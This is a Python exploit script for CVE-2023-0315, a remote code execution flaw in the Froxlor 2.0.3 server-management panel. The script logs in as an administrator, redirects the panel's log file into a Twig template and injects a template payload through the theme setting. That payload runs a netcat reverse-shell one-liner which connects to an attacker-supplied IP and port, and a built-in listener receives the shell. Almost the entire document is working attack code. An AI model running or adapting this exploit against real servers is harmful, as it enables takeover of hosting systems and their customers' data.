Froxlor 2.0.3 Stable - Remote Code Execution (RCE)

#!/usr/bin/python3

# Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution (RCE)
# Date: 2023-01-08
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2023-0315
# Vendor Homepage: https://froxlor.org/
# Version: v2.0.3
# Tested on: Ubuntu 20.04 / PHP 8.2

import telnetlib
import requests
import socket
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote
from threading import Thread

warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')


if len(sys.argv) !=3D 6:
    print("[~] Usage : ./froxlor-rce.py url username password ip port")
    exit()

url =3D sys.argv[1]
username =3D sys.argv[2]
password =3D sys.argv[3]
ip =3D sys.argv[4]
port =3D sys.argv[5]

request =3D requests.session()

def login():
    login_info =3D {
    "loginname": username,
    "password": password,
    "send": "send",
    "dologin": ""
    }
    login_request =3D request.post(url+"/index.php", login_info, allow_redi=
rects=3DFalse)
    login_headers =3D login_request.headers
    location_header =3D login_headers["Location"]
    if location_header =3D=3D "admin_index.php":
        return True
    else:
        return False


def change_log_path():
    change_log_path_url =3D url + "/admin_settings.php?page=3Doverview&part=
=3Dlogging"
    csrf_token_req =3D request.get(change_log_path_url)
    csrf_token_req_response =3D csrf_token_req.text
    soup =3D BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token =3D (soup.find("meta",  {"name":"csrf-token"})["content"])
    print("[+] Main CSRF token retrieved %s" % csrf_token)

    multipart_data =3D {

        "logger_enabled": (None, "0"),
        "logger_enabled": (None, "1"),
        "logger_severity": (None, "2"),
        "logger_logtypes[]": (None, "file"),
        "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/f=
ooter.html.twig"),
        "logger_log_cron": (None, "0"),
        "csrf_token": (None, csrf_token),
        "page": (None, "overview"),
        "action": (None, ""),
        "send": (None, "send")
   =20
    }
    req =3D request.post(change_log_path_url, files=3Dmultipart_data)
    response =3D req.text
    if "The settings have been successfully saved." in response:
        print("[+] Changed log file path!")
        return True
    else:
        return False


def inject_template():
    admin_page_path =3D url + "/admin_index.php"
    csrf_token_req =3D request.get(admin_page_path)
    csrf_token_req_response =3D csrf_token_req.text
    soup =3D BeautifulSoup(csrf_token_req_response, "lxml")
    csrf_token =3D (soup.find("meta",  {"name":"csrf-token"})["content"])
    onliner =3D "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} =
{1} >/tmp/f".format(ip, port)
    payload =3D "{{['%s']|filter('exec')}}" % onliner
    data =3D {
        "theme": payload,
        "csrf_token": csrf_token,
        "page": "change_theme",
        "send": "send",
        "dosave": "",
    }
    req =3D request.post(admin_page_path, data, allow_redirects=3DFalse)
    try:
        location_header =3D req.headers["Location"]
        if location_header =3D=3D "admin_index.php":
            print("[+] Injected the payload sucessfully!")
    except:
        print("[-] Can't Inject payload :/")
        exit()
    handler_thread =3D Thread(target=3Dconnection_handler, args=3D(port,))
    handler_thread.start()
    print("[+] Triggering the payload ...")
    req2 =3D request.get(admin_page_path)


def connection_handler(port):
    print("[+] Listener started on port %s" % port)
    t =3D telnetlib.Telnet()
    s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", int(port)))
    s.listen(1)
    conn, addr =3D s.accept()
    print("[+] Connection received from %s" % addr[0])
    t.sock =3D conn
    print("[+] Heads up, incoming shell!!")
    t.interact()



if login():
    print("[+] Successfully Logged in!")
    index_url =3D url + "/admin_index.php"
    request.get(index_url)
    if change_log_path():
        inject_template()

else:
    print("[-] Can't login")